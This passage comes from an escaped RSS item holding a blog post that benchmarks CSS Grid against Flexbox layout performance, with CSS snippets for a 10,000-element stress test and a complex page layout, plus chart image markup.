  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk17 { color: #808080; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk12 { color: #9CDCFE; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[CSS Grid vs Flexbox Performance Evaluation]]></title><link>https://techblog.smc.itgrid-vs-flexbox-performance</link><guid isPermaLink="false">https://techblog.smc.itgrid-vs-flexbox-performance</guid><pubDate>Mon, 03 Aug 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;CSS Grid is a recent layouting algorithm, that, especially during it&amp;#x27;s arrival, it has gotten a bad reputation performance wise.&lt;/p&gt;&lt;p&gt;This is one of the reasons, together with perhaps an not very ergonomic API to the uninitiated, for which many websites, even very recent ones, only use flexbox for all layouts.&lt;/p&gt;&lt;p&gt;To understand if this reputation is founded we have carried out some benchmarks.&lt;/p&gt;&lt;p&gt;Could CSS Grid compete on par with Flexbox?&lt;/p&gt;&lt;h1 id=&quot;-1-benchmarking-tools&quot;&gt;🔬 1. Benchmarking tools&lt;/h1&gt;&lt;p&gt;All of the following data was obtained using the Chrome DevTools Performance Profiler on a 2.3 GHz quad-core Intel Core i7 Macbook Pro with 8 GB 1600 MHz DDR3 RAM.&lt;/p&gt;&lt;p&gt;In particular, the &lt;strong&gt;«Start profiling and reload the page»&lt;/strong&gt; function was used, therefore a function that performs profiling from the request to the end of the page rendering.
This function has been used because it highlights the rendering time of the layout individually, therefore without any recalculation due to actions such as resizing the browser.&lt;/p&gt;&lt;p&gt;The results concern only the layout computation times, so the &lt;em&gt;download&lt;/em&gt; times of the resources and the execution times of the Javascript code did not affect the results.&lt;/p&gt;&lt;p&gt;All the code used for the benchmarks is available on &lt;a href=&quot;https://codesandbox.io/s/css-grid-vs-flexbox-performance-evaluation-qo1cf?file=/index.html&quot;&gt;Codesandbox&lt;/a&gt;&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;p&gt;&lt;iframe src=&quot;https://codesandbox.io/embed/css-grid-vs-flexbox-performance-evaluation-qo1cf?file=/index.html&quot; style=&quot;width:100%;height:500px;border:0;border-radius:4px;overflow:hidden&quot; allow=&quot;accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr&quot; sandbox=&quot;allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h1 id=&quot;-2-benchmark-10000-elements&quot;&gt;🐇 2. Benchmark: 10000 elements&lt;/h1&gt;&lt;p&gt;This is a stress-test that allows us to understand how the two algorithms behave in terms of performance in an extreme situation: a container with 10,000 elements to be placed in all the available space.&lt;/p&gt;&lt;p&gt;Obviously it does not represent the &lt;em&gt;real-world performance&lt;/em&gt; of the two algorithms, as it is very difficult to have as a requirement a page with many elements in a single container, also because you can resort to alternative solutions to improve performance such as an &lt;strong&gt;infinite loader&lt;/strong&gt; or a pagination.&lt;/p&gt;&lt;p&gt;The heart of the CSS code for creating the benchmark using CSS Grid is as follows:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;css&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.container&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;grid-template-columns&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;repeat&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;auto-fit&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;minmax&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1fr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;While the counterpart that uses flexbox is:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;css&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.container&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;flex&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;flex-wrap&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;wrap&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.item&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;flex-basis&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;flex-grow&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;JavaScript was used to repeat 10000 times the item element.&lt;/p&gt;&lt;p&gt;The only difference between the two layouts is the last row of the container, where in the Grid some free cells remains, while in flexbox the remaining space is filled.&lt;/p&gt;&lt;p&gt;These are the results obtained:&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ebbaa9918c9e831d370c2a4e712acb9c/b5a09/10000chart.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:73.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;294\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20294\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M206%204c0%202%201%203%2015%203%2013%200%2014%200%2014-2-1-2-2-3-6-2h-21c-1-2-2-1-2%201M35%20136v100h354v-15a112691%20112691%200%20000-157V35H35v101m1-97v3h352v-6H36v3m0%208v3h352v-6H36v3m0%207v3h97a1795%201795%200%2000100-1l78%201h77v-6h-75a380%20380%200%2000-77%202c1-2%200-2-1-2-2%200-2%200-1%201%201%202%200%202-4%202s-5-1-5-2c1-1-18-1-94-1H36v3m41%205l-1%204v2h312v-6h-76a4408%204408%200%2001-158%200c-67%200-72%200-72%202l-2%202-1-2v-2h-2m-41%203v3h18c15%200%2018%200%2020-2%201-1%201-1-2-1-4%201-4%201-4-1%201-2%200-2-16-2H36v3m0%207v3h23c14%200%2022%200%2021-1l1-1%201%201%20153%201h153v-6H232a8089%208089%200%2000-177%200H36v3m0%207l1%203h23l15%201%2014-1%201-1a1655%201655%200%2000104%201l1%203%202-3c1-2%201-2%202-1l1%203-5%201-79-1H36v6h307v-2l1-2v2l1%202%201-2c-1-2%205-2%205%200l1%203%202-3c1-2%203-3%203-1-1%203%200%203%2016%203h15v-6h-66a987%20987%200%2001-94-2%20188%20188%200%200026-1l67%201%2067%201v-7H36v3m0%2015c0%203%200%203%203%202h6c1%202%20222%201%20222%200v-3c1-1%201-1%201%201l1%202%201-2c0-1%201-2%203-2l3%201c-1%204%200%204%2014%204h13v-2c0-4%202-4%202%200l1%203v-3c0-2%200-3%203-3s3%200%203%203c-1%202%201%203%202%200%200-3%202-3%203%200%200%203%2054%203%2056%200v-3l-107-1H160v3c0%201%200%202-2%201v-2l-1-2c-1%200-2%200-1%201l-1%203c-1%201-1%201-2-1h-1c0%203-3%202-3-1l-1-2v2c0%204-2%204-2%201v-3H36v3m10%205l1%201c1%201%200%201-2%201-5-1-8%200-8%203l38%201%2037-1-1-4c-2-2-2-2-2%200l-1%202-1-2c0-2-1-2-27-2-25%200-27%200-29%202h-2c-2-2-3-3-3-1m70-1c-1%204-1%205%202%205h3l-3%201%20134%201h136v-6l-31-1c-28%200-40%201-47%203l-2-1c0-2-2-2-18-2h-17l17%201%2018%201h-17l-20%201-2-1c0-2-5-2-57-2a1273%201273%200%2000-93%202c-1-2-3-3-3-2m-80%2011v3h352v-6H36v3m0%208v3h352v-7H36v4m0%207v3h352v-6H36v3m0%207v3h352v-6H36v3m0%208v3h352v-7H36v4m0%207v3h352v-6H36v3m0%208v3h352v-7H36v4m0%207v3h352v-6H36v3m0%207v3h352v-6H36v3m0%208v3h352v-7H36v4m0%207v3h352v-6H36v3m0%207v4h95a2045%202045%200%2000106-1l76%201h75v-7H36v3m0%208v3h19l18-1%202-1%201%201%2077%201a440%20440%200%200080-2%201954%201954%200%2000155-1v-3h-75a1711%201711%200%2000-83%201l-75-1a395%20395%200%2000-82%201h-2l-18-1H36v3m0%207l1%203h36l36%201-36%201H37l-1%203v3h352v-6h-96a1904%201904%200%2001-60-2l38-1v-2l-1-1v-2l-1%202h-2c-2-2-6-2-35-2-33%200-33%201-33%202%200%202%200%202-1%201l-1-2-1-1-2%202c-1%203-6%204-6%201l1-2-35-1-34%201v3c-1%201-1%201-1-1-1-4-3-4-3%200v3h17c16%200%2017-1%2016-3l1-2%201%204%201%201%201-2c-1-2-1-3%201-3v3c0%203%200%203%202%202s2-2%201-3l1-2%202%202v2l18%201%2017%201c0%202-1%202-5%201-16-1-34-1-34%201l-2%201-2-2c0-1-33-1-36%201h-3c-2-2-3-3-3-6v-3H79c-33%200-32%200-31%204l-1%201c-2%200-2-1-1-2v-3l-2%202c-1%203-7%202-6%200l-1-2-1%203m235-2l1%201%201%202c0%201%201%202%2017%202l18-1%202-1%202%201a141%20141%200%200039%200c0%201%2036%202%2036%200l1-2c0-2%200-2-1-1l-2-1-2-1v2c-3%201-3%201-3-1h-3c-2-2-22-1-22%201l-3%201v-1l-1-2-2%202h-1c0-2%200-2-1%200h-3c0-3-29-3-29%200l-1%201-1-1-1-2c-2%200-2%202-1%202%201%201%200%201-1%201l-2-1v-2l-1%202h-2c-2-2-28-3-28-1h-6M36%20217v3h352v-6H36v3m0%205v6h352v-6H36m0%2010v3h352v-6H36v3\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ebbaa9918c9e831d370c2a4e712acb9c/c85cb/10000chart.webp 300w,/static/ebbaa9918c9e831d370c2a4e712acb9c/e88ff/10000chart.webp 600w,/static/ebbaa9918c9e831d370c2a4e712acb9c/92f8c/10000chart.webp 1200w,/static/ebbaa9918c9e831d370c2a4e712acb9c/90e3c/10000chart.webp 1360w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ebbaa9918c9e831d370c2a4e712acb9c/5a46d/10000chart.png 300w,/static/ebbaa9918c9e831d370c2a4e712acb9c/0a47e/10000chart.png 600w,/static/ebbaa9918c9e831d370c2a4e712acb9c/c1b63/10000chart.png 1200w,/static/ebbaa9918c9e831d370c2a4e712acb9c/b5a09/10000chart.png 1360w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Lower is better&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ebbaa9918c9e831d370c2a4e712acb9c/c1b63/10000chart.png&quot; title=&quot;Lower is better&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Lower is better&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;As you can see the performance gap between Flexbox and CSS Grid in this case is very clear, this probably derives from the fact that in Flexbox the elements of the following lines cannot interfere with those of the previous lines, while in CSS Grid it is not so. forcing many checks before dimensioning the elements.&lt;/p&gt;&lt;h1 id=&quot;🧠-3-benchmark-complex-layout&quot;&gt;🧠 3. Benchmark: Complex layout&lt;/h1&gt;&lt;p&gt;This is field-test that allows us to understand how Flexbox and CSS Grid behave in common situations: The task is to create a layout of a site that is not entirely trivial, therefore similar to a real one.&lt;/p&gt;&lt;p&gt;There is no visible difference between the two layouts.&lt;/p&gt;&lt;p&gt;For this benchmark the CSS code for the Grid is as follows:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;css&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.container&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;grid&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;grid-template-columns&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1fr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1fr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1fr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;grid-template-rows&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;50px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1fr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;75px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;grid-template-areas&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;headerCenter headerCenter headerSide&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;side main tips&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;side main .&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;footer footer footer&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.mainItem&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;grid-area&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: main;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;To create the same layout using Flexbox in addition to a modification of the HTML structure, adding containers around the components, the following CSS code was needed:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;css&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.container&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;flex&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;flex-direction&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;column&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.headerContainer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;min-height&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;50px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;flex&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.mainContainer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;flex-grow&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;flex&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk6&quot;&gt;.footerContainer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;min-height&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;75px&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;These are the results obtained:&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/846508f0d5575a58dda99df5394e35c6/b5a09/complexchart.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:73.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;294\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20294\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M207%204v3h14c13%200%2014%200%2014-2l-1-2a633%20633%200%2000-27%201M35%20136v100h354v-72a169734%20169734%200%20000-108V35H35v101m1-97v3h352v-6H36v3m0%207v2h352v-5H36v3m0%206v2h57a451%20451%200%200064-2c0%201%2019%202%20115%202h116v-5H36v3m0%207v2h58c57%200%2058%200%2058-2l2-2%201%202c0%202%201%202%20117%202h116v-5H36v3m0%206v2h60a424%20424%200%200062-1l115%201h115v-5H270a1598%201598%200%2000-119%201l-57-1H36v3m0%207v2h55c52%200%2056%200%2056-2h1c0%202%2012%203%2013%201h1l108%201h109l1-2%202-2v2l1%202%202-2%201-1%202-1a6366%206366%200%2000-240%200l-56-1H36v3m0%206v2h39a2796%202796%200%200142%200h270v-2l1-3H253a715%20715%200%2000-142%201l-37-1H36v3m38%204H36v5h52c48%200%2053%200%2054-2h1c0%202%201%202%2013%202l12-1h1l106%201a431%20431%200%2000108-3l2-2a5969%205969%200%2000-254%200H74m-38%209v2h17c16%200%2017%200%2018-2l1-2%201%202c1%203%204%203%203%200l1-2%201%202c1%202%202%202%2031%202h30l1-2c1-2%201-2%201%200-1%203%208%203%209%200%200-3%202-3%202%200l2%202%201-2v-2l2%202c0%202%201%202%20115%202h116v-5H36v3m0%206v2h36l1-2%202-2c1-1-8-1-19-1H36v3m40-1l-1%202-1%201h11a2004%202004%200%200167-2c-1-1-1-1%201-2s1-1-5-1l-9%201h-1l-31-1c-29%200-30%200-31%202m79-1c-1%204%201%204%2010%204%2010%200%2010%200%209-1%200-2%200-2%201-1a4417%204417%200%2000213-1c0-2-1-3-2-1h-1a4078%204078%200%2000-230%200m-119%209v2h16l17-1h1l5%201c4%200%205%200%204-2h1c2%203%2054%203%2054%200h1c0%202%2023%203%2024%201h1l114%201h114v-5H283a1217%201217%200%2000-106%201%20162%20162%200%2000-42%200l-31-1-32%201h-1l-17-1H36v3m0%205v3h24c24%200%2024%200%2023-1%200-2%200-2%201-1%202%202%205%202%2050%202a295%20295%200%200049-1l103%201h102v-5H238a1262%201262%200%2000-156%201c-2-2-13-1-15%201h-1c1-2%200-2-15-2H36v2m273%206c-1%202-3%203-2%201%200-2-7-2-61-2a433%20433%200%2000-62%201%20267%20267%200%2000-54%2